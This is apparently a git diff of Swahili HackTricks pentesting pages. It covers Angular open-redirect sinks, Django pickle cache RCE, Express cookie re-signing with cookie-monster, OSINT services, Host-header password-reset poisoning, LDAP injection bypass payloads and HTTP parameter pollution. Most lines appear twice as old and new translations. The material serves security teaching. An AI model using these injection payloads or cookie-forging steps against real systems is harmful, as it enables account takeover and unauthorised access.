Njia ya kawaida ya kupata kipengele cha sasa cha DOM ni kutumia `window.location`. Inaweza pia kutumika kuhamasisha kivinjari kwenda kwenye ukurasa mpya. Kama matokeo, kuwa na udhibiti juu ya kipengele hiki kunatuwezesha kutumia udhaifu wa uelekeo wazi.
Njia ya kawaida ya kupata kipengele cha sasa cha DOM ni kutumia `window.location`. Inaweza pia kutumika kuhamasisha kivinjari kwenda kwenye ukurasa mpya. Kama matokeo, kuwa na udhibiti juu ya kipengele hiki kunatuwezesha kutumia udhaifu wa kuhamasisha wazi.
```tsx
//app.component.ts
@ -465,10 +467,10 @@ window.location.href = "https://google.com/about"
<button type="button" (click)="goToUrl()">Click me!</button>
```
Mchakato wa kutumia udhaifu ni sawa kwa hali zifuatazo.
Mchakato wa unyanyasaji ni sawa kwa hali zifuatazo.
* `window.location.assign()`(na `document.location.assign()`)
Njia hii inasababisha dirisha kupakia na kuonyesha hati kwenye URL iliyotolewa. Ikiwa tuna udhibiti juu ya njia hii, inaweza kuwa mahali pa shambulio la uelekeo wazi.
Mbinu hii inasababisha dirisha kupakia na kuonyesha hati kwenye URL iliyotajwa. Ikiwa tuna udhibiti juu ya mbinu hii, inaweza kuwa mahali pa shambulio la kuhamasisha wazi.
```tsx
//app.component.ts
@ -481,9 +483,9 @@ window.location.assign("https://google.com/about")
```
* `window.location.replace()`(na `document.location.replace()`)
Njia hii inachukua rasilimali ya sasa na kuibadilisha na ile iliyoko kwenye URL iliyotolewa.
Mbinu hii inachukua rasilimali ya sasa na ile iliyo kwenye URL iliyotolewa.
Hii inatofautiana na njia ya `assign()` kwa kuwa baada ya kutumia `window.location.replace()`, ukurasa wa sasa hautahifadhiwa katika Historia ya kikao. Hata hivyo, pia inawezekana kutumia udhaifu wa uelekeo wazi tunapokuwa na udhibiti juu ya njia hii.
Hii inatofautiana na mbinu ya `assign()` kwamba baada ya kutumia `window.location.replace()`, ukurasa wa sasa hautahifadhiwa katika Historia ya kikao. Hata hivyo, pia inawezekana kutumia udhaifu wa kuhamasisha wazi tunapokuwa na udhibiti juu ya mbinu hii.
```tsx
//app.component.ts
@ -496,7 +498,7 @@ window.location.replace("http://google.com/about")
```
* `window.open()`
Njia ya `window.open()` inachukua URL na kupakia rasilimali inayotambulika katika tab au dirisha jipya au lililopo. Kuwa na udhibiti juu ya njia hii pia kunaweza kuwa fursa ya kuanzisha udhaifu wa XSS au uelekeo wazi.
Mbinu ya `window.open()` inachukua URL na kupakia rasilimali inayotambulika katika tab au dirisha jipya au lililopo. Kuwa na udhibiti juu ya mbinu hii pia kunaweza kuwa fursa ya kuanzisha udhaifu wa XSS au kuhamasisha wazi.
```tsx
//app.component.ts
@ -510,7 +512,7 @@ window.open("https://google.com/about", "_blank")
#### Madarasa ya Angular
* Kulingana na nyaraka za Angular, Angular `Document` ni sawa na hati ya DOM, ambayo inamaanisha inawezekana kutumia njia za kawaida za hati ya DOM kutumia udhaifu wa upande wa mteja katika Angular. Mali na mbinu za `Document.location` zinaweza kuwa mahali pa mashambulizi ya uelekeo wazi kama inavyoonyeshwa katika mfano:
* Kulingana na nyaraka za Angular, Angular `Document` ni sawa na hati ya DOM, ambayo inamaanisha inawezekana kutumia njia za kawaida za hati ya DOM ili kutumia udhaifu wa upande wa mteja katika Angular. Mali na mbinu za `Document.location` zinaweza kuwa mahali pa mashambulizi ya kuhamasisha wazi kama inavyoonyeshwa katika mfano:
```tsx
//app.component.ts
@ -533,7 +535,7 @@ this.document.location.href = 'https://google.com/about';
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
* Wakati wa awamu ya utafiti, pia tulikagua darasa la Angular `Location` kwa udhaifu wa uelekeo wazi, lakini hatukuweza kupata njia halali. `Location` ni huduma ya Angular ambayo programu zinaweza kutumia kuingiliana na URL ya sasa ya kivinjari. Huduma hii ina mbinu kadhaa za kubadilisha URL iliyotolewa - `go()`, `replaceState()`, na `prepareExternalUrl()`. Hata hivyo, hatuwezi kuzitumia kwa uelekeo wa kikoa cha nje. Kwa mfano:
* Wakati wa awamu ya utafiti, pia tulikagua darasa la Angular `Location` kwa udhaifu wa kuhamasisha wazi, lakini hatukuweza kupata njia halali. `Location` ni huduma ya Angular ambayo programu zinaweza kutumia kuingiliana na URL ya sasa ya kivinjari. Huduma hii ina mbinu kadhaa za kubadilisha URL iliyotolewa - `go()`, `replaceState()`, na `prepareExternalUrl()`. Hata hivyo, hatuwezi kuzitumia kwa kuhamasisha kwenye kikoa cha nje. Kwa mfano:
```tsx
//app.component.ts
@ -568,7 +570,7 @@ const routes: Routes = [
Matokeo: `http://localhost:4200/https:`
Mbinu zifuatazo pia huhamasisha ndani ya upeo wa kikoa:
Mbinu zifuatazo pia huhamasisha ndani ya kikoa cha kikoa:
```jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
@ -601,3 +603,7 @@ this.router.navigateByUrl('URL')
* [Angular Document](https://angular.io/api/common/DOCUMENT)
* [Angular Location](https://angular.io/api/common/Location)
* [Angular Router](https://angular.io/api/router/Router)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,8 +1,12 @@
# Django
{{#include /banners/hacktricks-training.md}}
## Cache Manipulation to RCE
Njia ya kuhifadhi cache ya Django ya kawaida ni [Python pickles](https://docs.python.org/3/library/pickle.html), ambayo inaweza kusababisha RCE ikiwa [ingizo lisiloaminika limeondolewa](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ikiwa mshambuliaji anaweza kupata ufikiaji wa kuandika kwenye cache, wanaweza kupeleka udhaifu huu hadi RCE kwenye seva ya msingi**.
Cache ya Django huhifadhiwa katika moja ya maeneo manne: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [kumbukumbu](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [faili](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), au [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache iliyohifadhiwa kwenye seva ya Redis au database ndiyo njia za shambulio zinazoweza kutokea zaidi (Redis injection na SQL injection), lakini mshambuliaji pia anaweza kutumia cache inayotegemea faili kubadilisha kuandika kwa bahati kuwa RCE. Wajibu wa kudumisha wameashiria hili kama si tatizo. Ni muhimu kutambua kwamba folda ya faili la cache, jina la meza ya SQL, na maelezo ya seva ya Redis yatatofautiana kulingana na utekelezaji.
Cache ya Django inahifadhiwa katika moja ya maeneo manne: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [kumbukumbu](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [faili](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), au [hifadhidata](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache iliyohifadhiwa kwenye seva ya Redis au hifadhidata ndiyo njia za shambulio zinazoweza kutokea (Redis injection na SQL injection), lakini mshambuliaji pia anaweza kutumia cache inayotegemea faili kubadilisha kuandika kwa nasibu kuwa RCE. Wajibu wameashiria hili kama si tatizo. Ni muhimu kutambua kwamba folda ya faili la cache, jina la meza ya SQL, na maelezo ya seva ya Redis yatatofautiana kulingana na utekelezaji.
Ripoti hii ya HackerOne inatoa mfano mzuri, unaoweza kurudiwa wa kutumia cache ya Django iliyohifadhiwa kwenye database ya SQLite: https://hackerone.com/reports/1415436
Ripoti hii ya HackerOne inatoa mfano mzuri, unaoweza kurudiwa wa kutumia udhaifu wa cache ya Django iliyohifadhiwa katika hifadhidata ya SQLite: https://hackerone.com/reports/1415436
{{#include /banners/hacktricks-training.md}}

View File

@ -1 +0,0 @@
# GWT - Google Web Toolkit

View File

@ -1,5 +1,7 @@
# NodeJS Express
{{#include /banners/hacktricks-training.md}}
## Saini ya Keki
Chombo [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) ni zana ya kujiendesha kwa ajili ya kujaribu na kusaini tena siri za keki za Express.js.
@ -26,4 +28,4 @@ Ikiwa unajua siri, unaweza kusaini cookie hiyo.
```bash
cookie-monster -e -f new_cookie.json -k secret
```
{{#include /banners/hacktricks-training.md}}

View File

@ -1,121 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# [ProjectHoneypot](https://www.projecthoneypot.org/)
Unaweza kuuliza ikiwa IP inahusiana na shughuli za kutatanisha/mbaya. Bure kabisa.
# [**BotScout**](http://botscout.com/api.htm)
Angalia ikiwa anwani ya IP inahusiana na bot inayosajili akaunti. Inaweza pia kuangalia majina ya watumiaji na barua pepe. Kwanza bure.
# [Hunter](https://hunter.io/)
Pata na thibitisha barua pepe.
Maombi machache ya API bure, kwa zaidi unahitaji kulipa.
Kibiashara?
# [AlientVault](https://otx.alienvault.com/api)
Pata shughuli mbaya zinazohusiana na IPs na Domains. Bure.
# [Clearbit](https://dashboard.clearbit.com/)
Pata data binafsi zinazohusiana na barua pepe \(profaili kwenye majukwaa mengine\), domain \(taarifa za msingi za kampuni, barua na watu wanaofanya kazi\) na kampuni \(pata taarifa za kampuni kutoka kwa barua\).
Unahitaji kulipa ili kufikia uwezekano wote.
Kibiashara?
# [BuiltWith](https://builtwith.com/)
Teknolojia zinazotumika na wavuti. Ghali...
Kibiashara?
# [Fraudguard](https://fraudguard.io/)
Angalia ikiwa mwenyeji \(domain au IP\) anahusiana na shughuli za kutatanisha/mbaya. Ina upatikanaji wa bure wa API.
Kibiashara?
# [FortiGuard](https://fortiguard.com/)
Angalia ikiwa mwenyeji \(domain au IP\) anahusiana na shughuli za kutatanisha/mbaya. Ina upatikanaji wa bure wa API.
# [SpamCop](https://www.spamcop.net/)
Inaonyesha ikiwa mwenyeji anahusiana na shughuli za spam. Ina upatikanaji wa bure wa API.
# [mywot](https://www.mywot.com/)
Kulingana na maoni na vipimo vingine pata ikiwa domain inahusiana na taarifa za kutatanisha/mbaya.
# [ipinfo](https://ipinfo.io/)
Pata taarifa za msingi kutoka anwani ya IP. Unaweza kupima hadi 100K/ mwezi.
# [securitytrails](https://securitytrails.com/app/account)
Jukwaa hili linatoa taarifa kuhusu domains na anwani za IP kama domains ndani ya IP au ndani ya seva ya domain, domains zinazomilikiwa na barua pepe \(pata domains zinazohusiana\), historia ya IP ya domains \(pata mwenyeji nyuma ya CloudFlare\), domains zote zinazotumia nameserver....
Una upatikanaji wa bure.
# [fullcontact](https://www.fullcontact.com/)
Inaruhusu kutafuta kwa barua pepe, domain au jina la kampuni na kupata taarifa "binafsi" zinazohusiana. Inaweza pia kuthibitisha barua pepe. Kuna upatikanaji wa bure.
# [RiskIQ](https://www.spiderfoot.net/documentation/)
Taarifa nyingi kutoka kwa domains na IPs hata katika toleo la bure/jamii.
# [\_IntelligenceX](https://intelx.io/)
Tafuta Domains, IPs na barua pepe na pata taarifa kutoka kwa dumps. Ina upatikanaji wa bure.
# [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
Tafuta kwa IP na kukusanya taarifa zinazohusiana na shughuli za kutatanisha. Kuna upatikanaji wa bure.
# [Greynoise](https://viz.greynoise.io/)
Tafuta kwa IP au anuwai ya IP na pata taarifa kuhusu IPs zinazoskania Mtandao. Upatikanaji wa bure wa siku 15.
# [Shodan](https://www.shodan.io/)
Pata taarifa za skana za anwani ya IP. Ina upatikanaji wa bure wa API.
# [Censys](https://censys.io/)
Ni sawa sana na shodan
# [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)
Pata ndoo za S3 zilizo wazi kwa kutafuta kwa neno muhimu.
# [Dehashed](https://www.dehashed.com/data)
Pata akidi zilizovuja za barua pepe na hata domains
Kibiashara?
# [psbdmp](https://psbdmp.ws/)
Tafuta pastebins ambapo barua pepe ilionekana. Kibiashara?
# [emailrep.io](https://emailrep.io/key)
Pata sifa ya barua. Kibiashara?
# [ghostproject](https://ghostproject.fr/)
Pata nywila kutoka kwa barua pepe zilizovuja. Kibiashara?
# [Binaryedge](https://www.binaryedge.io/)
Pata taarifa za kuvutia kutoka IPs
# [haveibeenpwned](https://haveibeenpwned.com/)
Tafuta kwa domain na barua pepe na pata ikiwa ilipatikana na nywila. Kibiashara?
[https://dnsdumpster.com/](https://dnsdumpster.com/)\(katika chombo cha kibiashara?\)
[https://www.netcraft.com/](https://www.netcraft.com/) \(katika chombo cha kibiashara?\)
[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(katika chombo cha kibiashara?\)
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,41 +0,0 @@
# Other Web Tricks
{{#include ./banners/hacktricks-training.md}}
### Host header
Mara kadhaa nyuma ya pazia inategemea **Host header** kufanya baadhi ya vitendo. Kwa mfano, inaweza kutumia thamani yake kama **domain ya kutuma upya nenosiri**. Hivyo unapopokea barua pepe yenye kiungo cha kurekebisha nenosiri lako, domain inayotumika ni ile uliyoweka katika Host header. Kisha, unaweza kuomba upya nenosiri wa watumiaji wengine na kubadilisha domain kuwa moja inayodhibitiwa na wewe ili kuiba nambari zao za kurekebisha nenosiri. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> Kumbuka kwamba inawezekana usihitaji hata kusubiri mtumiaji abonyeze kiungo cha kurekebisha nenosiri ili kupata token, kwani labda hata **filters za spam au vifaa/boti vingine vya kati vitabonyeza ili kuchambua**.
### Session booleans
Wakati mwingine unapokamilisha uthibitisho fulani kwa usahihi, nyuma ya pazia it **ongeza boolean tu yenye thamani "True" kwa sifa ya usalama ya kikao chako**. Kisha, mwisho tofauti utaweza kujua kama umepita hiyo ukaguzi.\
Hata hivyo, ikiwa **umepita ukaguzi** na kikao chako kinapewa thamani hiyo "True" katika sifa ya usalama, unaweza kujaribu **kufikia rasilimali nyingine** ambazo **zinategemea sifa hiyo hiyo** lakini ambazo **hupaswi kuwa na ruhusa** za kufikia. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Register functionality
Jaribu kujiandikisha kama mtumiaji ambaye tayari yupo. Jaribu pia kutumia wahusika sawa (madoadoa, nafasi nyingi na Unicode).
### Takeover emails
Jiandikishe barua pepe, kabla ya kuithibitisha badilisha barua pepe, kisha, ikiwa barua pepe mpya ya uthibitisho itatumwa kwa barua pepe ya kwanza iliyosajiliwa, unaweza kuchukua barua pepe yoyote. Au ikiwa unaweza kuwezesha barua pepe ya pili kuthibitisha ya kwanza, unaweza pia kuchukua akaunti yoyote.
### Access Internal servicedesk of companies using atlassian
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### TRACE method
Wanda maendeleo wanaweza kusahau kuzima chaguzi mbalimbali za ufuatiliaji katika mazingira ya uzalishaji. Kwa mfano, njia ya HTTP `TRACE` imeundwa kwa madhumuni ya uchunguzi. Ikiwa imewezeshwa, seva ya wavuti itajibu maombi yanayotumia njia ya `TRACE` kwa kurudisha katika jibu ombi halisi lililopokelewa. Tabia hii mara nyingi haina madhara, lakini wakati mwingine husababisha kufichuliwa kwa taarifa, kama vile jina la vichwa vya uthibitishaji vya ndani ambavyo vinaweza kuongezwa kwa maombi na proxies za kinyume.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}}
### Same-Site Scripting
Inatokea tunapokutana na domain au subdomain ambayo inatatuliwa kwa localhost au 127.0.0.1 kutokana na usanidi fulani wa DNS. Inamruhusu mshambuliaji kudanganya vizuizi vya asili sawa vya RFC2109 (HTTP State Management Mechanism), na hivyo kuiba data ya usimamizi wa hali. Pia inaweza kuruhusu scripting ya tovuti tofauti. Unaweza kusoma zaidi kuhusu hilo kutoka [here](https://seclists.org/bugtraq/2008/Jan/270)

View File

@ -1,9 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
**Fanya utafiti zaidi kuhusu mashambulizi kwenye DNS**
**DNSSEC na DNSSEC3**
**DNS katika IPv6**
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,7 +1,5 @@
# LDAP Injection
## LDAP Injection
{{#include ../banners/hacktricks-training.md}}
## LDAP Injection
@ -44,7 +42,7 @@ Unaweza kufikia hifadhidata, na hii inaweza kuwa na taarifa za aina nyingi tofau
**OpenLDAP**: Ikiwa vichujio 2 vinakuja, inatekeleza tu cha kwanza.\
**ADAM au Microsoft LDS**: Kwa vichujio 2 wanatoa kosa.\
**SunOne Directory Server 5.0**: Inatekeleza vichujio vyote viwili.
**SunOne Directory Server 5.0**: Tekeleza vichujio vyote viwili.
**Ni muhimu sana kutuma kichujio chenye sintaksia sahihi au kosa litatokea. Ni bora kutuma kichujio kimoja tu.**
@ -58,7 +56,7 @@ Kisha: `(&(objectClass=`**`*)(ObjectClass=*))`** itakuwa kichujio cha kwanza (ki
### Login Bypass
LDAP inasaidia mifumo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali unachoweka ndani ya nywila, inahifadhiwa.
LDAP inasaidia muundo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali unachoweka ndani ya nywila, inahifadhiwa.
```bash
user=*
password=*
@ -121,7 +119,7 @@ password=any
### Blind LDAP Injection
Unaweza kulazimisha majibu ya False au True ili kuangalia kama kuna data yoyote inarudi na kuthibitisha uwezekano wa Blind LDAP Injection:
Unaweza kulazimisha majibu ya False au True ili kuangalia kama kuna data yoyote inayorejeshwa na kuthibitisha uwezekano wa Blind LDAP Injection:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void

View File

@ -1,13 +1,10 @@
# Parameter Pollution | JSON Injection
## Parameter Pollution
{{#include ../banners/hacktricks-training.md}}
## Muhtasari wa HTTP Parameter Pollution (HPP)
HTTP Parameter Pollution (HPP) ni mbinu ambapo washambuliaji wanabadilisha vigezo vya HTTP ili kubadilisha tabia ya programu ya wavuti kwa njia zisizokusudiwa. Mabadiliko haya yanafanywa kwa kuongeza, kubadilisha, au kuiga vigezo vya HTTP. Athari za mabadiliko haya hazionekani moja kwa moja kwa mtumiaji lakini zinaweza kubadilisha kwa kiasi kikubwa utendaji wa programu upande wa seva, huku zikiwa na athari zinazoweza kuonekana upande wa mteja.
HTTP Parameter Pollution (HPP) ni mbinu ambapo washambuliaji wanabadilisha vigezo vya HTTP ili kubadilisha tabia ya programu ya wavuti kwa njia zisizokusudiwa. Ubadilishaji huu unafanywa kwa kuongeza, kubadilisha, au kuiga vigezo vya HTTP. Athari za mabadiliko haya hazionekani moja kwa moja kwa mtumiaji lakini zinaweza kubadilisha kwa kiasi kikubwa utendaji wa programu upande wa seva, huku zikiwa na athari zinazoweza kuonekana upande wa mteja.
### Mfano wa HTTP Parameter Pollution (HPP)
@ -23,34 +20,34 @@ Muamala unaweza kuchajiwa kwa makosa kwa `accountC` badala ya `accountA`, ikiony
#### **Uchambuzi wa Vigezo Maalum kwa Teknolojia**
- Njia vigezo vinavyoshughulikiwa na kupewa kipaumbele inategemea teknolojia ya wavuti inayotumika, ikikathiri jinsi HPP inavyoweza kutumika.
- Njia vigezo vinavyopangwa na kupewa kipaumbele inategemea teknolojia ya wavuti inayotumika, ikikathiri jinsi HPP inavyoweza kutumika.
- Zana kama [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) husaidia kubaini teknolojia hizi na tabia zao za uchambuzi.
### PHP na HPP Ukatili
**Kesi ya Ubadilishaji wa OTP:**
- **Muktadha:** Mfumo wa kuingia unahitaji Nywila ya Muda Mmoja (OTP) ulitumiwa vibaya.
- **Mbinu:** Kwa kukamata ombi la OTP kwa kutumia zana kama Burp Suite, washambuliaji waligundua vigezo vya `email` katika ombi la HTTP.
- **Matokeo:** OTP, iliyokusudiwa kwa barua pepe ya awali, ilitumwa badala yake kwa anwani ya pili ya barua pepe iliyotajwa katika ombi lililobadilishwa. Kasoro hii iliruhusu ufikiaji usioidhinishwa kwa kukwepa kipimo cha usalama kilichokusudiwa.
- **Muktadha:** Mfumo wa kuingia unaohitaji Nambari ya Muda Mmoja (OTP) ulitumiwa vibaya.
- **Mbinu:** Kwa kukamata ombi la OTP kwa kutumia zana kama Burp Suite, washambuliaji waliga vigezo vya `email` katika ombi la HTTP.
- **Matokeo:** OTP, iliyokusudiwa kwa barua pepe ya awali, ilitumwa badala yake kwa anwani ya barua pepe ya pili iliyotajwa katika ombi lililobadilishwa. Kasoro hii iliruhusu ufikiaji usioidhinishwa kwa kukwepa kipimo cha usalama kilichokusudiwa.
Hali hii inaonyesha makosa muhimu katika nyuma ya programu, ambayo ilishughulikia kigezo cha kwanza `email` kwa ajili ya uzalishaji wa OTP lakini ilitumia ya mwisho kwa ajili ya usambazaji.
Hali hii inaonyesha makosa makubwa katika backend ya programu, ambayo ilipokea kigezo cha kwanza cha `email` kwa ajili ya uzalishaji wa OTP lakini ilitumia cha mwisho kwa ajili ya usambazaji.
**Kesi ya Ubadilishaji wa Funguo za API:**
- **Hali:** Programu inaruhusu watumiaji kubadilisha funguo zao za API kupitia ukurasa wa mipangilio ya wasifu.
- **Njia ya Shambulio:** Mshambuliaji anagundua kwamba kwa kuongeza kigezo cha ziada `api_key` kwenye ombi la POST, wanaweza kubadilisha matokeo ya kazi ya kubadilisha funguo za API.
- **Mbinu:** Kwa kutumia zana kama Burp Suite, mshambuliaji anaunda ombi ambalo lina vigezo viwili vya `api_key`: kimoja halali na kingine kibaya. Seva, ikishughulikia tu matukio ya mwisho, inasasisha funguo za API kwa thamani iliyotolewa na mshambuliaji.
- **Hali:** Programu inaruhusu watumiaji kuboresha funguo zao za API kupitia ukurasa wa mipangilio ya wasifu.
- **Njia ya Shambulio:** Mshambuliaji anagundua kwamba kwa kuongeza kigezo cha ziada `api_key` kwenye ombi la POST, wanaweza kubadilisha matokeo ya kazi ya kuboresha funguo za API.
- **Mbinu:** Kwa kutumia zana kama Burp Suite, mshambuliaji anaunda ombi ambalo lina vigezo viwili vya `api_key`: kimoja halali na kingine kibaya. Seva, ikipokea tu matukio ya mwisho, inasasisha funguo za API kwa thamani iliyotolewa na mshambuliaji.
- **Matokeo:** Mshambuliaji anapata udhibiti juu ya utendaji wa API wa mwathirika, akipata au kubadilisha data binafsi bila idhini.
Mfano huu unasisitiza zaidi umuhimu wa kushughulikia vigezo kwa usalama, hasa katika vipengele muhimu kama usimamizi wa funguo za API.
### Uchambuzi wa Vigezo: Flask vs. PHP
Njia teknolojia za wavuti zinavyoshughulikia vigezo vya HTTP vilivyopigwa marufuku inatofautiana, ikikathiri uwezekano wao wa kushambuliwa na HPP:
Njia teknolojia za wavuti zinavyoshughulikia vigezo vya HTTP vilivyoiga inatofautiana, ikikathiri uwezekano wao wa kushambuliwa na HPP:
- **Flask:** Inachukua thamani ya kigezo cha kwanza kilichokutana, kama vile `a=1` katika mfuatano wa maswali `a=1&a=2`, ikipa kipaumbele mfano wa awali kuliko nakala zinazofuata.
- **PHP (katika Apache HTTP Server):** Kinyume chake, inapa kipaumbele thamani ya mwisho ya kigezo, ikichagua `a=2` katika mfano uliopewa. Tabia hii inaweza kwa bahati mbaya kuruhusu HPP kutumika kwa kuheshimu kigezo kilichobadilishwa na mshambuliaji badala ya asili.
- **Flask:** Inachukua thamani ya kigezo cha kwanza kilichokutana, kama `a=1` katika mfuatano wa maswali `a=1&a=2`, ikipa kipaumbele mfano wa awali kuliko nakala zinazofuata.
- **PHP (katika Apache HTTP Server):** Kinyume chake, inapa kipaumbele thamani ya mwisho ya kigezo, ikichagua `a=2` katika mfano uliopewa. Tabia hii inaweza kwa bahati mbaya kuruhusu matumizi mabaya ya HPP kwa kuheshimu kigezo kilichobadilishwa na mshambuliaji badala ya asili.
## Uchafuzi wa vigezo kwa teknolojia
@ -62,7 +59,7 @@ Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-po
1. Puuza chochote baada ya %00 katika jina la kigezo.
2. Shughulikia jina\[] kama array.
3. \_GET haina maana ya Njia ya GET.
3. \_GET haina maana ya GET Method.
4. Pendelea kigezo cha mwisho.
### Ruby 3.3.5 na WEBrick 1.8.2
@ -70,7 +67,7 @@ Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-po
<figure><img src="../images/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
1. Inatumia vichungi & na ; kugawanya vigezo.
2. Haitaeleweka jina\[].
2. Haitambui jina\[].
3. Pendelea kigezo cha kwanza.
### Spring MVC 6.0.23 NA Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
@ -78,49 +75,49 @@ Matokeo haya yalichukuliwa kutoka [https://medium.com/@0xAwali/http-parameter-po
<figure><img src="../images/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
2. POST RequestMapping & PostMapping Haitaeleweka jina\[].
2. POST RequestMapping & PostMapping inatambua jina\[].
3. Pendelea jina ikiwa jina NA jina\[] vinapatikana.
4. Unganisha vigezo e.g. first,last.
5. POST RequestMapping & PostMapping Haitaeleweka kigezo cha swali chenye Content-Type.
4. Unganisha vigezo e.g. kwanza, mwisho.
5. POST RequestMapping & PostMapping inatambua kigezo cha swali chenye Content-Type.
### **NodeJS** 20.17.0 **NA** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
<figure><img src="../images/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
1. Haitaeleweka jina\[].
2. Unganisha vigezo e.g. first,last.
1. Inatambua jina\[].
2. Unganisha vigezo e.g. kwanza, mwisho.
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
<figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
1. Haitaeleweka jina\[].
1. Haitambui jina\[].
2. Pendelea kigezo cha kwanza.
### Python 3.12.6 NA Werkzeug 3.0.4 NA Flask 3.0.3 <a href="#b853" id="b853"></a>
<figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
1. Haitaeleweka jina\[].
1. Haitambui jina\[].
2. Pendelea kigezo cha kwanza.
### Python 3.12.6 NA Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
<figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
1. Haitaeleweka jina\[].
1. Haitambui jina\[].
2. Pendelea kigezo cha mwisho.
### Python 3.12.6 NA Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
<figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
1. Haitaeleweka jina\[].
1. Haitambui jina\[].
2. Pendelea kigezo cha mwisho.
## JSON Injection
### Funguo za Nakala
### Vifunguo Vilivyoiga
```ini
obj = {"test": "user", "test": "admin"}
```
@ -128,7 +125,7 @@ Mbele inaweza kuamini tukio la kwanza wakati nyuma inatumia tukio la pili la ufu
### Mkutano wa Ufunguo: Kukatwa kwa Wahusika na Maoni
Wahusika fulani hawatafasiriwa vizuri na mbele lakini nyuma watafasiri na kutumia ufunguo hao, hii inaweza kuwa na manufaa ili **kupita vizuizi fulani**:
Wahusika fulani hawawezi kutafsiriwa vizuri na mbele lakini nyuma watawatafsiri na kutumia ufunguo hao, hii inaweza kuwa na manufaa ili **kupita vizuizi fulani**:
```json
{"test": 1, "test\[raw \x0d byte]": 2}
{"test": 1, "test\ud800": 2}
@ -182,7 +179,7 @@ obj = {"test": 1, "test": 2}
obj["test"] // 1
obj.toString() // {"test": 2}
```
### Float na Integer
### Float and Integer
Nambari
```undefined
